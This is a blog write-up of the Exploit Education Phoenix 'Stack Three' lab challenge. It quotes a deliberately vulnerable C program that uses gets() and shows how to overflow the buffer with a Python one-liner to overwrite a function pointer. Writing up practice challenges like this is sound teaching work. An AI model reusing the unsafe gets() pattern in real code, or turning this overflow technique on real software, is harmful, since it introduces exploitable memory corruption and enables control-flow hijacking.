Skip to main content

Exploit Education Phoenix : Stack Three

·598 words·3 mins
Exploit Development Reverse Engineering Exploit Education
Exploit Education Phoenix - This article is part of a series.
Part 4: This Article
Before you look at the solution to the challenges, I invite you to try it for yourself. You can find all the challenges here.

Overview of the challenge #

The aim of the Phoenix challenges is to analyse the source code of an executable in order to find and exploit a vulnerability. This first series of challenges concerns the stack.

The first thing to do is to analyse the executable’s source code. Looking for a vulnerability to exploit.

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int (*fp)();
  } locals;

  locals.fp = NULL;
  gets(locals.buffer);

  if (locals.fp) {
    printf("calling function pointer @ %p\n", locals.fp);
    fflush(stdout);
    locals.fp();
  } else {
    printf("function pointer remains unmodified :~( better luck next time!\n");
  }

  exit(0);
}

The first thing you notice is that the structure is the same as in the previous challenges, except that the changeme variable has now been replaced by the fp variable, which seems to mean “function pointer”. In addition, we can see that in the rest of the source code, the program tries to call the function whose address is supposed to be stored in the fp variable. Finally, to complete the challenge we need to call the complete_level function. This function is not called in the source code. It seems that we need to change the value of the variable so that it contains the address of the complete_level function in order for the function to be called.

The next thing we notice is the use of the gets function. When we look at the documentation for the function using the command: man gets, it explains how the function works. The gets function retrieves a string of characters from the standard input (stdin), each character is written to a buffer until the function detects an EOF or a line feed. Finally, when one of these characters is detected, it is replaced by a \0 to end the string.

The documentation provides us with new information: this function should no longer be used, as it is sensitive to buffer overflow attacks. The function does not know how many characters it will write to the buffer and cannot be used to limit the number of characters copied. If the number of input characters is greater than the size of the buffer, the gets function will continue to write to the next memory location.

Now that we’ve identified the sensitive parts of the source code, all we have to do is abuse the vulnerability to succeed in the challenge.

Exploiting the vulnerability #

To succeed in this challenge, we need to exploit a buffer overflow vulnerability. This will allow us to modify the value of the fp variable and call the complete_level function. However, to call the complete_level function we need to find its address, so we can use GDB.

$ gdb stack-three
$ disass complete_level

Analysis in GDB
Get the address of the complete_level function in GDB.

Now we know that the address of the complete_level function is 0x000000000040069D, we can create a character string to exploit the buffer overflow. First we need to fill the buffer, in our case it will be 64 'A', then we need to enter the address of the complete_level function.

To make it easier to create the string, we can use Python.

python -c "print 'A'*64 + '\x9D\x06\x40'" | ./stack-three

Exploit Result
Result of exploiting the vulnerability.

Finally, we can see that the fp variable has been modified, so we can complete the challenge by calling the complete_level function.



Exploit Education Phoenix - This article is part of a series.
Part 4: This Article